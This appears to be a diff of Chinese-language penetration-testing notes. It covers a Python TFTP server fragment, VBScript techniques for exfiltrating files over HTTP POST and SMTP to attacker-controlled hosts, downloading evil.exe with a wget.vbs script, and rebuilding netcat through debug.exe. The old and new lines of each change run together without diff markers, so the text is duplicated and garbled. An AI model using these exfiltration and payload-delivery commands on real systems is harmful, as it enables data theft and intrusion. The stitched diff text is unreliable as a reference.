# 写入文件内容
try:
with open(filename, 'wb') as file:
file.write(file_data)
except:
error_packet = struct.pack('!HH', 5, 2) + b'访问违规'
server_socket.sendto(error_packet, client_address)
continue
else:
# 不支持的操作码
error_packet = struct.pack('!HH', 5, 4) + b'非法的TFTP操作'
error_packet = struct.pack('!HH', 5, 4) + b'Unsupported operation'
server_socket.sendto(error_packet, client_address)
server_socket.close()
@ -811,11 +735,11 @@ VBScriptVisual Basic Scripting Edition是一种基于Visual Basic的脚本
### 1. 文件传输
使用VBScript可以通过文件传输将敏感数据从目标系统传送到攻击者控制的服务器。这可以通过使用`FileSystemObject`对象来读取和写入文件来实现。攻击者可以编写VBScript脚本来遍历目标系统上的文件,并将其中的敏感数据复制到攻击者的服务器上
使用VBScript可以通过文件传输将敏感数据从目标系统传送到攻击者控制的服务器。这可以通过使用`FileSystemObject`对象来读取和写入文件来实现。攻击者可以编写VBScript脚本来遍历目标系统上的文件和目录,并将敏感数据复制到指定的位置
```vbscript
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("C:\path\to\file.txt", 1)
Set objFile = objFSO.OpenTextFile("C:\sensitive_data.txt", 1)
strData = objFile.ReadAll
objFile.Close
@ -827,34 +751,34 @@ objHTTP.send "data=" & strData
### 2. 网络传输
VBScript还可以通过网络传输将数据发送到攻击者的服务器。这可以通过使用`MSXML2.XMLHTTP`对象来实现。攻击者可以编写VBScript脚本来将数据发送到指定的URL并在服务器端进行处理
VBScript可以使用网络传输协议如HTTP、FTP将数据发送到远程服务器。攻击者可以编写VBScript脚本来将敏感数据作为POST或GET请求发送到指定的URL
```vbscript
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "POST", "http://attacker-server.com/receive.php", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=secretdata"
objHTTP.send "data=sensitive_data"
```
### 3. 电子邮件传输
VBScript还可以通过电子邮件将数据发送到攻击者的邮箱。这可以通过使用`CDO.Message`对象来实现。攻击者可以编写VBScript脚本来创建一个邮件对象并将数据作为附件发送到指定的邮箱
VBScript可以使用SMTP协议将数据作为电子邮件附件发送到指定的邮箱。攻击者可以编写VBScript脚本来创建电子邮件并将敏感数据作为附件添加到邮件中
```vbscript
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Sensitive Data"
objMessage.From = "sender@example.com"
objMessage.To = "attacker@example.com"
objMessage.From = "attacker@attacker-server.com"
objMessage.To = "victim@victim-domain.com"
objMessage.TextBody = "Please find the attached sensitive data."
objMessage.AddAttachment "C:\path\to\file.txt"
objMessage.AddAttachment "C:\sensitive_data.txt"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.attacker-server.com"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objMessage.Configuration.Fields.Update
objMessage.Send
```
以上是VBScript中常用的几种数据泄露方法。攻击者可以根据具体情况选择合适的方法来实现数据的传输和泄露
以上是VBScript中常用的数据泄露方法,攻击者可以根据具体情况选择适合的方法来实施数据泄露攻击
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -894,7 +818,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
这是一种适用于 Windows 32 位机器的疯狂技术。思路是使用 `debug.exe` 程序。它用于检查二进制文件,就像一个调试器。但它也可以从十六进制重新构建它们。所以我们的想法是,我们拿到二进制文件,比如 `netcat`。然后将其反汇编为十六进制,在受损的机器上将其粘贴到一个文件中,然后使用 `debug.exe` 进行汇编。
`Debug.exe` 只能汇编 64 kb 的文件。所以我们需要使用小于该大小的文件。我们可以使用 upx 进一步压缩它。所以让我们这样做:
`Debug.exe` 只能汇编 64 kb。所以我们需要使用小于该大小的文件。我们可以使用 upx 进一步压缩它。所以让我们这样做:
```
upx -9 nc.exe
```